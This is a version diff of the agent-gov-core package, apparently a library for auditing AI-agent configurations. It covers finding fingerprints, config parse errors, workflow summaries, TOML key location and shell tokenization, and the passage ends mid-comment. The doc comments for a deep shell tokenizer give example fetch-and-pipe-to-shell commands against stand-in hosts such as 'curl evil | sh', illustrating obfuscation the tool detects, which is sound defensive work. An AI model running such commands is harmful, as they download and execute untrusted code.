agent-gov-core 0.4.2 → 0.5.0

package/README.md

@@ -66,14 +66,16 @@ The JSON schema at [`schemas/finding.schema.json`](./schemas/finding.schema.json
 - `isSeverity(v)`, `isToolKind(v)`, `isNamespacedKind(v)` — type guards
 - `kind(tool, name)` — build a namespaced kind without hand-assembling the dotted string
 - `createFinding({tool, name, severity, message, ...})` — convenience constructor that calls `kind()` and `fingerprintFinding()` for you
-- `fingerprintFinding(finding)` — 16-character hex hash of `(kind, file, line, column)`. Stable across runs and message rewordings, so a meta-reviewer can dedupe
+- `fingerprintFinding(finding)` — 16-character hex hash of `(kind, file, line, column, salientKey?)`. Stable across runs and message rewordings, so a meta-reviewer can dedupe. Pass `salientKey` (since v0.4.3) when multiple distinct findings can fire at the same site
 - `validateFinding(value)` — runtime check against `schemas/finding.schema.json`, returns `{ ok, errors[] }`
 
 ### Config readers
-- `readJsonObjectWithSource(path)` — JSONC reader, string-aware comment + trailing-comma stripping, position-preserving. Returns `{ value, json, text, parseError? }`; `value` and `json` reference the same parsed object — `json` is kept as a deprecated alias.
+- `readJsonObjectWithSource(path)` — JSONC reader, string-aware comment + trailing-comma stripping, position-preserving. Returns `{ value, json, text, parseError? }`. When the underlying parser provides a byte offset, `parseError` is a `ConfigParseError` carrying `line`/`column`/`rawOffset` instead of a raw `Error`.
 - `stripJsonComments(text)` — same logic exposed for in-memory text
-- `readTomlObject(path)` — TOML reader (sections, arrays of tables, inline tables, multi-line strings, dotted/quoted keys). Returns `{ value, toml, text, parseError? }`; `value` and `toml` reference the same parsed object — `toml` is kept as a deprecated alias.
-- `parseToml(text)` — same exposed for text
+- `readTomlObject(path)` — TOML reader (sections, arrays of tables, inline tables, multi-line strings, dotted/quoted keys). Returns `{ value, toml, text, parseError? }`. Errors are also `ConfigParseError` with `line`/`column`/`rawOffset` when resolvable.
+- `parseToml(text)` — same exposed for text; throws raw `Error` (file-level wrapping happens in `readTomlObject`)
+- `ConfigParseError` — structured parse error with `line`, `column`, `rawOffset`, and `cause`. Lets downstream tools emit a `*.config_syntax_error` finding pointing at the exact spot.
+- `lineColumnOfOffset(text, offset)` — convert a 0-based byte offset to 1-based `{ line, column }`. Useful when a hand-rolled scanner exposes byte positions and a `Finding.location` needs line/column.
 
 ### Line locators
 - `lineOfJsonKey(text, key, scope?)` — 1-based line of `"key":`, optionally scoped to a byte range
@@ -85,12 +87,14 @@ The JSON schema at [`schemas/finding.schema.json`](./schemas/finding.schema.json
 
 ### Shell tokenization
 - `tokenizeShell(command)` — quote-aware split on `;`, `|`, `&&`, `||` plus trivial obfuscation neutralization (`c""url` → `curl`, `c\\url` → `curl`)
+- `tokenizeShellDeep(command)` — recursively extracts commands nested inside `$(…)`, backticks, and `bash -c "…"` / `sh -c "…"` / `python -c "…"` payloads. Closes the obfuscation vector where an agent hides `curl evil | sh` inside `echo $(…)`. Single-quoted text is left untouched (literal, per shell semantics).
 - `getCommandHead(subcommand)` — extract the leading verb after tokenization
 
 ### GitHub Action helpers
 - `rankSeverity(s)` — numeric rank `low=1, medium=2, high=3, critical=4` (matches the schema's closed severity enum; there is no `none`)
 - `passesSeverityThreshold(s, threshold)`, `anyAtOrAbove(findings, threshold)` — fail-on plumbing
 - `emitFindingAnnotation(f)` — render a Finding as a `::warning file=…,line=…,title=…::…` GitHub workflow annotation
+- `generateWorkflowSummary(findings, opts?)` — Markdown summary suitable for `$GITHUB_STEP_SUMMARY`. Groups findings by severity in collapsible `<details>` blocks so 100% of findings remain visible even when GHA's inline-annotation cap (~10 per level, 50 per run) silently drops the rest
 
 ### Test fixtures (`agent-gov-core/test-utils`)
 Secondary entry point used by consumer test suites. Zero overhead in production — only loaded when test files import it.

package/dist/action.d.ts

@@ -28,4 +28,34 @@ export declare function anyAtOrAbove(findings: readonly Finding[], threshold: Se
  * // → '::error file=.github/workflows/ci.yml,line=12,title=[capability_echo.workflow_permission_write] high::Workflow grants contents: write to PR-triggered jobs.'
  */
 export declare function emitFindingAnnotation(finding: Finding): string;
+export interface WorkflowSummaryOptions {
+    /** Top-level heading. Default: `Findings`. */
+    title?: string;
+    /** Cap per severity group; remaining count rendered as `(+N more)`. Default: 100. */
+    perSeverityLimit?: number;
+    /** Truncate message to this many characters (with `…` suffix). Default: 200. */
+    messageMaxLength?: number;
+}
+/**
+ * Render a Markdown summary of findings suitable for writing to
+ * `$GITHUB_STEP_SUMMARY`. GitHub Actions caps inline annotations (~10 per
+ * level, 50 per run) and silently drops the rest; the step summary has no
+ * such cap, so a Markdown table guarantees that 100% of findings are visible
+ * in the workflow's run summary page even when annotations are truncated.
+ *
+ * Findings are grouped by severity (critical → high → medium → low) inside
+ * collapsible `<details>` blocks. Each row carries file, line, kind, and a
+ * length-capped message. Pipe characters in message text are escaped so they
+ * don't break Markdown table rendering.
+ *
+ * @example
+ * import { generateWorkflowSummary } from 'agent-gov-core';
+ * import { appendFileSync } from 'node:fs';
+ *
+ * const md = generateWorkflowSummary(findings, { title: 'CapabilityEcho findings' });
+ * if (process.env.GITHUB_STEP_SUMMARY) {
+ *   appendFileSync(process.env.GITHUB_STEP_SUMMARY, md);
+ * }
+ */
+export declare function generateWorkflowSummary(findings: readonly Finding[], options?: WorkflowSummaryOptions): string;
 //# sourceMappingURL=action.d.ts.map

package/dist/action.js

@@ -76,4 +76,102 @@ function escapeProperty(s) {
         .replace(/:/g, '%3A')
         .replace(/,/g, '%2C');
 }
+/**
+ * Render a Markdown summary of findings suitable for writing to
+ * `$GITHUB_STEP_SUMMARY`. GitHub Actions caps inline annotations (~10 per
+ * level, 50 per run) and silently drops the rest; the step summary has no
+ * such cap, so a Markdown table guarantees that 100% of findings are visible
+ * in the workflow's run summary page even when annotations are truncated.
+ *
+ * Findings are grouped by severity (critical → high → medium → low) inside
+ * collapsible `<details>` blocks. Each row carries file, line, kind, and a
+ * length-capped message. Pipe characters in message text are escaped so they
+ * don't break Markdown table rendering.
+ *
+ * @example
+ * import { generateWorkflowSummary } from 'agent-gov-core';
+ * import { appendFileSync } from 'node:fs';
+ *
+ * const md = generateWorkflowSummary(findings, { title: 'CapabilityEcho findings' });
+ * if (process.env.GITHUB_STEP_SUMMARY) {
+ *   appendFileSync(process.env.GITHUB_STEP_SUMMARY, md);
+ * }
+ */
+export function generateWorkflowSummary(findings, options = {}) {
+    const title = options.title ?? 'Findings';
+    const perGroupLimit = options.perSeverityLimit ?? 100;
+    const messageMax = options.messageMaxLength ?? 200;
+    if (findings.length === 0) {
+        return `# ${title}\n\nNo findings.\n`;
+    }
+    const groups = {
+        critical: [],
+        high: [],
+        medium: [],
+        low: [],
+    };
+    for (const f of findings)
+        groups[f.severity].push(f);
+    const counts = {
+        critical: groups.critical.length,
+        high: groups.high.length,
+        medium: groups.medium.length,
+        low: groups.low.length,
+    };
+    const lines = [];
+    lines.push(`# ${title}`, '');
+    lines.push(`**Total**: ${findings.length} finding${findings.length === 1 ? '' : 's'} — ` +
+        `${counts.critical} critical, ${counts.high} high, ` +
+        `${counts.medium} medium, ${counts.low} low`);
+    lines.push('');
+    const severityOrder = ['critical', 'high', 'medium', 'low'];
+    for (const severity of severityOrder) {
+        const group = groups[severity];
+        if (group.length === 0)
+            continue;
+        const shown = group.slice(0, perGroupLimit);
+        const overflow = group.length - shown.length;
+        lines.push(`<details${severity === 'critical' || severity === 'high' ? ' open' : ''}>`);
+        lines.push(`<summary><strong>${group.length} ${severity}</strong></summary>`);
+        lines.push('');
+        lines.push('| File | Line | Kind | Message |');
+        lines.push('|------|------|------|---------|');
+        for (const f of shown) {
+            lines.push('| ' +
+                [
+                    escapeMarkdownTableCell(f.location?.file ?? '—'),
+                    f.location?.line ?? '—',
+                    escapeMarkdownTableCell(f.kind),
+                    escapeMarkdownTableCell(truncate(f.message, messageMax)),
+                ].join(' | ') +
+                ' |');
+        }
+        if (overflow > 0) {
+            lines.push(`| _(+${overflow} more ${severity} finding${overflow === 1 ? '' : 's'})_ | | | |`);
+        }
+        lines.push('');
+        lines.push('</details>');
+        lines.push('');
+    }
+    return lines.join('\n');
+}
+function truncate(s, max) {
+    if (s.length <= max)
+        return s;
+    return s.slice(0, Math.max(1, max - 1)) + '…';
+}
+function escapeMarkdownTableCell(s) {
+    // Escape HTML control characters so a finding message containing
+    // `</summary>` or `<h1>` can't break out of the `<details>` block we
+    // emit around each severity group. GitHub sanitizes script execution,
+    // but unescaped tags still let an attacker manipulate the visual layout
+    // of the workflow summary (collapse other groups, inject misleading
+    // headings, etc.).
+    return String(s)
+        .replace(/&/g, '&amp;')
+        .replace(/</g, '&lt;')
+        .replace(/>/g, '&gt;')
+        .replace(/\|/g, '\\|')
+        .replace(/\r?\n/g, ' ');
+}
 //# sourceMappingURL=action.js.map

package/dist/finding.d.ts

@@ -26,6 +26,16 @@ export interface Finding {
     location?: FindingLocation;
     /** Stable identifier for dedupe across runs. Recommended: hash of (kind, location, salient fields). */
     fingerprint?: string;
+    /**
+     * Optional discriminator that participates in the fingerprint hash. Set this
+     * when a single (kind, file, line) site can legitimately host multiple distinct
+     * findings — e.g. two suspicious imports on the same line, two MCP servers in
+     * the same JSON object, two npm dependencies declared in one package.json line.
+     * Without it, the meta-reviewer would dedupe them into one. Use a stable value
+     * that doesn't drift across reruns (package name, server name, rule id) — not
+     * a timestamp or counter.
+     */
+    salientKey?: string;
     /** Optional structured metadata; downstream meta-reviewers may inspect it. */
     data?: Record<string, unknown>;
 }
@@ -57,6 +67,12 @@ export interface CreateFindingSpec {
     detail?: string;
     location?: FindingLocation;
     data?: Record<string, unknown>;
+    /**
+     * See {@link Finding.salientKey}. Pass when the same (kind, file, line) site
+     * can produce multiple distinct findings that must not collapse to one
+     * fingerprint.
+     */
+    salientKey?: string;
     /** Optional explicit fingerprint. If omitted, {@link fingerprintFinding} is computed. */
     fingerprint?: string;
 }

package/dist/finding.js

@@ -62,6 +62,8 @@ export function createFinding(spec) {
         finding.detail = spec.detail;
     if (spec.location !== undefined)
         finding.location = spec.location;
+    if (spec.salientKey !== undefined)
+        finding.salientKey = spec.salientKey;
     if (spec.data !== undefined)
         finding.data = spec.data;
     finding.fingerprint = spec.fingerprint ?? fingerprintFinding(finding);
@@ -99,6 +101,13 @@ export function fingerprintFinding(finding) {
         finding.location?.line ?? '',
         finding.location?.column ?? '',
     ];
+    // salientKey is appended ONLY when present. Appending `?? ''` would add a
+    // trailing pipe even for findings without salientKey, breaking the v0.4.2
+    // hash. This way pre-0.4.3 fingerprints stay stable for findings that
+    // never set salientKey, while new findings with one stay distinct.
+    if (finding.salientKey !== undefined) {
+        parts.push(finding.salientKey);
+    }
     return createHash('sha256').update(parts.join('|')).digest('hex').slice(0, 16);
 }
 const FINDING_ALLOWED_KEYS = new Set([
@@ -109,6 +118,7 @@ const FINDING_ALLOWED_KEYS = new Set([
     'detail',
     'location',
     'fingerprint',
+    'salientKey',
     'data',
 ]);
 const LOCATION_ALLOWED_KEYS = new Set(['file', 'line', 'column', 'endLine', 'endColumn']);
@@ -145,6 +155,9 @@ export function validateFinding(value) {
     if (v.fingerprint !== undefined && typeof v.fingerprint !== 'string') {
         errors.push('fingerprint must be a string when present');
     }
+    if (v.salientKey !== undefined && typeof v.salientKey !== 'string') {
+        errors.push('salientKey must be a string when present');
+    }
     if (v.data !== undefined && (v.data === null || typeof v.data !== 'object' || Array.isArray(v.data))) {
         errors.push('data must be an object when present');
     }

package/dist/index.d.ts

@@ -4,10 +4,12 @@ export type { JsonObjectWithSource } from './jsonc.js';
 export { readJsonObjectWithSource, stripJsonComments } from './jsonc.js';
 export type { TomlObjectWithSource } from './toml.js';
 export { readTomlObject, parseToml } from './toml.js';
+export { ConfigParseError, lineColumnOfOffset } from './parse-error.js';
 export type { ByteRange } from './locators.js';
 export { lineOfJsonKey, lineOfJsonStringValue, lineOfTomlKey, } from './locators.js';
 export type { McpCommandSpec } from './mcp.js';
 export { normalizeMcpCommand } from './mcp.js';
-export { tokenizeShell, getCommandHead } from './shell.js';
-export { rankSeverity, passesSeverityThreshold, anyAtOrAbove, emitFindingAnnotation, } from './action.js';
+export { tokenizeShell, tokenizeShellDeep, getCommandHead } from './shell.js';
+export type { WorkflowSummaryOptions } from './action.js';
+export { rankSeverity, passesSeverityThreshold, anyAtOrAbove, emitFindingAnnotation, generateWorkflowSummary, } from './action.js';
 //# sourceMappingURL=index.d.ts.map

package/dist/index.js

@@ -1,8 +1,9 @@
 export { SEVERITIES, TOOL_KINDS, isSeverity, isToolKind, isNamespacedKind, kind, createFinding, fingerprintFinding, validateFinding, } from './finding.js';
 export { readJsonObjectWithSource, stripJsonComments } from './jsonc.js';
 export { readTomlObject, parseToml } from './toml.js';
+export { ConfigParseError, lineColumnOfOffset } from './parse-error.js';
 export { lineOfJsonKey, lineOfJsonStringValue, lineOfTomlKey, } from './locators.js';
 export { normalizeMcpCommand } from './mcp.js';
-export { tokenizeShell, getCommandHead } from './shell.js';
-export { rankSeverity, passesSeverityThreshold, anyAtOrAbove, emitFindingAnnotation, } from './action.js';
+export { tokenizeShell, tokenizeShellDeep, getCommandHead } from './shell.js';
+export { rankSeverity, passesSeverityThreshold, anyAtOrAbove, emitFindingAnnotation, generateWorkflowSummary, } from './action.js';
 //# sourceMappingURL=index.js.map

package/dist/jsonc.js

@@ -1,4 +1,5 @@
 import { readFileSync } from 'node:fs';
+import { toConfigParseError } from './parse-error.js';
 /**
  * Strip `//` line comments, `/* ... *\/` block comments, and trailing commas from JSONC,
  * preserving byte offsets (replacement is space-filled, newlines preserved) so downstream
@@ -113,7 +114,7 @@ export function readJsonObjectWithSource(path) {
         return { value: parsed, json: parsed, text };
     }
     catch (err) {
-        return { value: undefined, json: undefined, text, parseError: err };
+        return { value: undefined, json: undefined, text, parseError: toConfigParseError(text, err) };
     }
 }
 //# sourceMappingURL=jsonc.js.map

package/dist/locators.d.ts

@@ -28,7 +28,9 @@ export declare function lineOfJsonKey(text: string, key: string, scope?: ByteRan
  * The value is JSON-encoded before matching so values containing backslashes
  * (e.g. Windows paths like `C:\Temp` written as `"C:\\Temp"` in JSON) are
  * located correctly. The scan ignores JSONC comments so a commented-out
- * matching value does not shadow the real one.
+ * matching value does not shadow the real one. The negative lookahead skips
+ * occurrences in key position (`"command":`) so a value matching a key name
+ * elsewhere in the document doesn't return the key's line.
  */
 export declare function lineOfJsonStringValue(text: string, value: string, scope?: ByteRange): number;
 /**

package/dist/locators.js

@@ -26,11 +26,13 @@ export function lineOfJsonKey(text, key, scope) {
  * The value is JSON-encoded before matching so values containing backslashes
  * (e.g. Windows paths like `C:\Temp` written as `"C:\\Temp"` in JSON) are
  * located correctly. The scan ignores JSONC comments so a commented-out
- * matching value does not shadow the real one.
+ * matching value does not shadow the real one. The negative lookahead skips
+ * occurrences in key position (`"command":`) so a value matching a key name
+ * elsewhere in the document doesn't return the key's line.
  */
 export function lineOfJsonStringValue(text, value, scope) {
     const encoded = jsonEncodeForRegex(value);
-    return findLineByRegex(text, new RegExp(`"${encoded}"`), scope);
+    return findLineByRegex(text, new RegExp(`"${encoded}"(?!\\s*:)`), scope);
 }
 /**
  * Convert a string to the form it would appear in JSON source bytes, then
@@ -56,43 +58,120 @@ export function lineOfTomlKey(text, dottedKey, scope) {
     const parts = splitTomlDottedKey(dottedKey);
     if (parts.length === 0)
         return 0;
-    const leaf = parts[parts.length - 1];
-    const prefix = parts.slice(0, -1);
     const lines = text.split(/\r?\n/);
     const inScope = scopeLineFilter(text, scope);
-    // Find header range we're inside of.
-    let inTargetTable = prefix.length === 0;
     let currentTable = [];
-    const targetHeader = prefix.join('.');
+    // Track multi-line basic (`"""`) and literal (`'''`) string state. A leaf-key
+    // pattern can otherwise match against decoy text inside a multi-line string
+    // value — see lineOfTomlKey regression tests.
+    let inMultilineString = null;
     for (let i = 0; i < lines.length; i++) {
         const lineNumber = i + 1;
         const raw = lines[i];
+        const stateAtLineStart = inMultilineString;
+        inMultilineString = updateMultilineStringState(raw, inMultilineString);
+        // If we entered this line inside a multi-line string, never match. The key
+        // pattern there is part of a string literal, not a real assignment.
+        if (stateAtLineStart !== null)
+            continue;
         const trimmed = raw.trim();
         const headerMatch = /^\[\[?\s*([^\]]+?)\s*\]\]?\s*(#.*)?$/.exec(trimmed);
         if (headerMatch) {
             currentTable = splitTomlDottedKey(headerMatch[1]);
-            inTargetTable = currentTable.join('.') === targetHeader;
             continue;
         }
-        if (!inTargetTable)
-            continue;
         if (trimmed === '' || trimmed.startsWith('#'))
             continue;
         if (!inScope(lineNumber))
             continue;
-        // Match leaf key at start of line: bare, "quoted", or 'literal'
-        const leafPattern = new RegExp(`^\\s*(?:${escapeForRegex(leaf)}|"${escapeForRegex(leaf)}"|'${escapeForRegex(leaf)}')\\s*(?:\\.|=)`);
-        if (leafPattern.test(raw))
+        // Generalized dotted-key matching: if the current table is a strict
+        // prefix of (or equal to) the target dotted key, try matching the
+        // REMAINING dotted segments on this line. Covers all three cases:
+        //  - Top-level (`a.b.c = 1` at root):     currentTable=[]      → match `a.b.c`
+        //  - Inside a parent (`[a]\nb.c = 1`):    currentTable=['a']   → match `b.c`
+        //  - Inside the exact table (`[a.b]\nc = 1`): currentTable=['a','b'] → match `c`
+        const tableIsPrefix = currentTable.length <= parts.length &&
+            currentTable.every((seg, idx) => seg === parts[idx]);
+        if (!tableIsPrefix)
+            continue;
+        const remaining = parts.slice(currentTable.length);
+        if (remaining.length === 0)
+            continue;
+        // Remaining-as-dotted-key match (covers any depth ≥ 1). Build the
+        // regex from individual segments joined by `\s*\.\s*` so spaced dotted
+        // keys (`a . b . c = 1` — valid TOML) match as well as compact ones.
+        const segmentsPattern = remaining.map(escapeForRegex).join('\\s*\\.\\s*');
+        const dottedPattern = new RegExp(`^\\s*${segmentsPattern}\\s*=`);
+        if (dottedPattern.test(raw))
             return lineNumber;
-        // Also: dotted key like `prefix.leaf = ...` defined at top-level
-        if (prefix.length > 0 && currentTable.length === 0) {
-            const dottedPattern = new RegExp(`^\\s*${escapeForRegex(dottedKey)}\\s*=`);
-            if (dottedPattern.test(raw))
+        // If remaining is exactly the leaf, also try the quoted-leaf forms
+        if (remaining.length === 1) {
+            const leafKey = remaining[0];
+            const leafPattern = new RegExp(`^\\s*(?:${escapeForRegex(leafKey)}|"${escapeForRegex(leafKey)}"|'${escapeForRegex(leafKey)}')\\s*(?:\\.|=)`);
+            if (leafPattern.test(raw))
                 return lineNumber;
         }
     }
     return 0;
 }
+/**
+ * Walk a line and update multi-line string state.
+ *
+ * Inside a basic multi-line string (`"""…"""`), a backslash escapes the next
+ * character — so `\"""` is a literal `"""` inside the value, NOT the string's
+ * closing delimiter. The walker must skip the next character after each `\`
+ * or it'll terminate the string state early and start matching key patterns
+ * against text that's still inside the value.
+ *
+ * Literal multi-line strings (`'''…'''`) do not process escapes per TOML spec,
+ * so backslash is inert there.
+ */
+function updateMultilineStringState(line, current) {
+    let state = current;
+    let pos = 0;
+    while (pos < line.length) {
+        if (state === '"""') {
+            // Inside a basic multi-line string — honor backslash escapes
+            if (line[pos] === '\\') {
+                pos += 2; // skip the backslash AND the next character
+                continue;
+            }
+            if (pos <= line.length - 3 && line.substr(pos, 3) === '"""') {
+                state = null;
+                pos += 3;
+                continue;
+            }
+            pos++;
+            continue;
+        }
+        if (state === "'''") {
+            // Literal multi-line — no escapes per spec
+            if (pos <= line.length - 3 && line.substr(pos, 3) === "'''") {
+                state = null;
+                pos += 3;
+                continue;
+            }
+            pos++;
+            continue;
+        }
+        // state === null
+        if (pos <= line.length - 3) {
+            const window = line.substr(pos, 3);
+            if (window === '"""') {
+                state = '"""';
+                pos += 3;
+                continue;
+            }
+            if (window === "'''") {
+                state = "'''";
+                pos += 3;
+                continue;
+            }
+        }
+        pos++;
+    }
+    return state;
+}
 function scopeLineFilter(text, scope) {
     if (!scope)
         return () => true;

package/dist/mcp.js

@@ -41,13 +41,47 @@ export function normalizeMcpCommand(spec) {
     }
     return parts.join('\n');
 }
-/** Strip `.cmd`/`.exe`/`.bat`/`.ps1` suffix and lowercase on Windows-style paths. */
+/**
+ * Strip `.cmd`/`.exe`/`.bat`/`.ps1` suffix on Windows-style paths and
+ * lowercase those — Windows filesystem lookup is case-insensitive, so
+ * `NPX.CMD`, `npx.cmd`, and `npx` all refer to the same executable and
+ * should produce identical identity strings. POSIX paths (no backslash
+ * separator, no Windows suffix) keep their case because `./curl` and
+ * `./CURL` are genuinely different files there.
+ */
 function normalizeExecutable(cmd) {
     const trimmed = cmd.trim();
     const base = trimmed.replace(/\\/g, '/');
+    const hadWindowsSuffix = /\.(cmd|exe|bat|ps1)$/i.test(base);
     const withoutSuffix = base.replace(/\.(cmd|exe|bat|ps1)$/i, '');
-    return withoutSuffix;
+    // Windows-shaped if the original used `\` separators or had a Windows
+    // executable suffix. In either case, case-fold for cross-machine identity.
+    const isWindowsShaped = hadWindowsSuffix || trimmed.includes('\\');
+    const cased = isWindowsShaped ? withoutSuffix.toLowerCase() : withoutSuffix;
+    // De-noise PATH-resolved runtimes: `/usr/bin/node` and `node` both run node.
+    // Only fold when the basename matches a known runtime so custom scripts at
+    // absolute paths (e.g. `/opt/internal/orchestrator.sh`) keep their identity.
+    const basename = cased.split('/').pop() ?? cased;
+    if (KNOWN_RUNTIMES.has(basename.toLowerCase())) {
+        return isWindowsShaped ? basename.toLowerCase() : basename;
+    }
+    return cased;
 }
+/**
+ * Common runtime executables whose absolute-path location varies across
+ * machines (PATH lookup resolves them) but whose identity for MCP-config
+ * purposes is the runtime name itself. Conservative — only entries where
+ * basename collapse is provably safe across the platforms an MCP config
+ * might be authored on.
+ */
+const KNOWN_RUNTIMES = new Set([
+    'node', 'npx', 'npm', 'pnpm', 'yarn',
+    'python', 'python3', 'pip', 'pip3', 'pipx', 'uvx', 'uv',
+    'ruby', 'gem', 'bundle',
+    'perl', 'cpan',
+    'bash', 'sh', 'zsh', 'fish', 'powershell', 'pwsh',
+    'deno', 'bun', 'tsx', 'ts-node',
+]);
 function normalizePath(p) {
     return p.trim().replace(/\\/g, '/').replace(/\/+$/, '');
 }
@@ -59,6 +93,22 @@ function normalizePath(p) {
  * (npx, uvx, pipx, node).
  */
 const NEUTRAL_BOOLEAN_FLAGS = new Set(['-y', '--yes']);
+/**
+ * Flags universally treated as boolean (no value follows) by the runners we
+ * care about. Listed so `canonicalizeArgs` doesn't greedily pair them with the
+ * next positional argument, which would conflate `--verbose pkg` with
+ * `--verbose=pkg`. Unlike NEUTRAL_BOOLEAN_FLAGS these stay in the canonical
+ * form — they're load-bearing (different identity vs. their absence) but
+ * standalone.
+ *
+ * Conservative — only flags where "takes a value" is essentially never their
+ * meaning in any CLI we'd see in an MCP config.
+ */
+const KNOWN_BOOLEAN_FLAGS = new Set([
+    '-v', '-V', '-q', '-h', '-d',
+    '--verbose', '--quiet', '--silent', '--debug', '--help', '--version',
+    '--force', '--dry-run', '--no-cache', '--no-color', '--no-progress', '--json',
+]);
 /**
  * Sort *neutral* flag/value pairs so reordering doesn't change identity, but
  * preserve the order of positional arguments (which are usually load-bearing —
@@ -87,6 +137,15 @@ function canonicalizeArgs(args) {
                 flagPairs.push([a.slice(0, eq), a.slice(eq + 1)]);
                 continue;
             }
+            // Known-boolean flags never consume the next argument, so `--verbose pkg`
+            // leaves `pkg` as a positional rather than collapsing into a fake pair.
+            // Without this guard, reordering ['--host', 'localhost', '--verbose', 'pkg']
+            // vs ['--verbose', '--host', 'localhost', 'pkg'] produced different
+            // canonical strings because `--verbose` greedily ate the next non-flag.
+            if (KNOWN_BOOLEAN_FLAGS.has(a)) {
+                flagPairs.push([a, null]);
+                continue;
+            }
             const next = filtered[i + 1];
             if (next !== undefined && !next.startsWith('-')) {
                 flagPairs.push([a, next]);

package/dist/parse-error.d.ts

@@ -0,0 +1,54 @@
+/**
+ * Structured config-file parse error. Carries the 1-based line and column of
+ * the failure so consumers can emit a `*.config_syntax_error` Finding pointing
+ * at the exact spot without recomputing line numbers from the raw offset.
+ *
+ * Thrown nowhere directly — instead, {@link readJsonObjectWithSource} and
+ * {@link readTomlObject} populate the `parseError` field of their result with
+ * this type whenever they can resolve a byte offset from the underlying parser.
+ * When the underlying error lacks position info, the original `Error` is
+ * preserved unchanged.
+ *
+ * @example
+ * import { readTomlObject, ConfigParseError } from 'agent-gov-core';
+ * const { parseError } = readTomlObject('.codex/config.toml');
+ * if (parseError instanceof ConfigParseError) {
+ *   emitFinding({
+ *     kind: 'policy_mesh.config_syntax_error',
+ *     location: { file: '.codex/config.toml', line: parseError.line, column: parseError.column },
+ *     message: parseError.message,
+ *   });
+ * }
+ */
+export declare class ConfigParseError extends Error {
+    readonly line: number;
+    readonly column: number;
+    readonly rawOffset: number;
+    constructor(message: string, opts: {
+        line: number;
+        column: number;
+        rawOffset: number;
+        cause?: Error;
+    });
+}
+/** Convert a 0-based byte offset to 1-based line and column. */
+export declare function lineColumnOfOffset(text: string, offset: number): {
+    line: number;
+    column: number;
+};
+/**
+ * Extract a byte offset from a parser error message. Both this library's TOML
+ * parser ("at offset N") and Node's `JSON.parse` ("at position N", or a
+ * `position` property on newer runtimes) use compatible-enough formats that
+ * one helper handles both.
+ *
+ * Returns `null` when no offset can be recovered — most semantic errors
+ * (duplicate-key, table redefinition) don't include one.
+ */
+export declare function extractParseOffset(err: Error): number | null;
+/**
+ * Wrap an arbitrary parser error into a {@link ConfigParseError} when offset
+ * recovery is possible; otherwise return the original error unchanged.
+ */
+export declare function toConfigParseError(text: string, err: Error): Error;
+//# sourceMappingURL=parse-error.d.ts.map

package/dist/parse-error.js

@@ -0,0 +1,85 @@
+/**
+ * Structured config-file parse error. Carries the 1-based line and column of
+ * the failure so consumers can emit a `*.config_syntax_error` Finding pointing
+ * at the exact spot without recomputing line numbers from the raw offset.
+ *
+ * Thrown nowhere directly — instead, {@link readJsonObjectWithSource} and
+ * {@link readTomlObject} populate the `parseError` field of their result with
+ * this type whenever they can resolve a byte offset from the underlying parser.
+ * When the underlying error lacks position info, the original `Error` is
+ * preserved unchanged.
+ *
+ * @example
+ * import { readTomlObject, ConfigParseError } from 'agent-gov-core';
+ * const { parseError } = readTomlObject('.codex/config.toml');
+ * if (parseError instanceof ConfigParseError) {
+ *   emitFinding({
+ *     kind: 'policy_mesh.config_syntax_error',
+ *     location: { file: '.codex/config.toml', line: parseError.line, column: parseError.column },
+ *     message: parseError.message,
+ *   });
+ * }
+ */
+export class ConfigParseError extends Error {
+    line;
+    column;
+    rawOffset;
+    constructor(message, opts) {
+        super(message);
+        this.name = 'ConfigParseError';
+        this.line = opts.line;
+        this.column = opts.column;
+        this.rawOffset = opts.rawOffset;
+        if (opts.cause) {
+            // Node 16.9+ supports the `cause` option on Error; some runtimes don't.
+            this.cause = opts.cause;
+        }
+    }
+}
+/** Convert a 0-based byte offset to 1-based line and column. */
+export function lineColumnOfOffset(text, offset) {
+    const safe = Math.max(0, Math.min(offset, text.length));
+    let line = 1;
+    let column = 1;
+    for (let i = 0; i < safe; i++) {
+        if (text[i] === '\n') {
+            line++;
+            column = 1;
+        }
+        else {
+            column++;
+        }
+    }
+    return { line, column };
+}
+/**
+ * Extract a byte offset from a parser error message. Both this library's TOML
+ * parser ("at offset N") and Node's `JSON.parse` ("at position N", or a
+ * `position` property on newer runtimes) use compatible-enough formats that
+ * one helper handles both.
+ *
+ * Returns `null` when no offset can be recovered — most semantic errors
+ * (duplicate-key, table redefinition) don't include one.
+ */
+export function extractParseOffset(err) {
+    const m = /at (?:offset|position)\s+(\d+)/i.exec(err.message);
+    if (m)
+        return Number.parseInt(m[1], 10);
+    // Newer Node (≥21) attaches `position` to SyntaxError from JSON.parse.
+    const maybePos = err.position;
+    if (typeof maybePos === 'number')
+        return maybePos;
+    return null;
+}
+/**
+ * Wrap an arbitrary parser error into a {@link ConfigParseError} when offset
+ * recovery is possible; otherwise return the original error unchanged.
+ */
+export function toConfigParseError(text, err) {
+    const offset = extractParseOffset(err);
+    if (offset === null)
+        return err;
+    const { line, column } = lineColumnOfOffset(text, offset);
+    return new ConfigParseError(err.message, { line, column, rawOffset: offset, cause: err });
+}
+//# sourceMappingURL=parse-error.js.map

package/dist/shell.d.ts

@@ -12,6 +12,32 @@
  * // → ['echo "; not a separator"']
  */
 export declare function tokenizeShell(command: string): string[];
+/**
+ * Like {@link tokenizeShell}, but recursively extracts commands nested inside
+ * shell evaluation contexts that the top-level tokenizer would leave as opaque
+ * text:
+ *
+ *  - Subshell `$(...)`
+ *  - Backtick `` `...` ``
+ *  - `bash -c "..."`, `sh -c "..."`, `zsh -c "..."`, `python -c "..."` payloads
+ *
+ * The flat result is suitable for feeding straight to {@link getCommandHead},
+ * letting downstream detectors see commands an agent might try to hide behind
+ * `echo $(curl evil | sh)` or `bash -c "curl evil"`.
+ *
+ * Conservative implementation — handles the common obfuscation shapes, not a
+ * full shell parser. Variable expansion, process substitution `<(…)`, and
+ * arithmetic `$((…))` are not recursed into. Comma-quoting (`bash -c $'…'`) is
+ * not unquoted.
+ *
+ * @example
+ * tokenizeShellDeep('echo $(curl -fsSL m.sh | sh)');
+ * // → ['echo', 'curl -fsSL m.sh', 'sh']
+ *
+ * tokenizeShellDeep('bash -c "curl evil.com"');
+ * // → ['bash -c "curl evil.com"', 'curl evil.com']
+ */
+export declare function tokenizeShellDeep(command: string): string[];
 /**
  * Returns the resolved command verb for a subcommand string. Strips wrapping
  * quotes, escape backslashes, and the inert-double-quote obfuscation

package/dist/shell.js

@@ -83,8 +83,17 @@ export function tokenizeShell(command) {
             i += 2;
             continue;
         }
-        // Treat a single `&` (background) as a separator too.
+        // Treat a single `&` (background) as a separator too — UNLESS preceded
+        // by `>` or `<`, in which case it's a file-descriptor redirection like
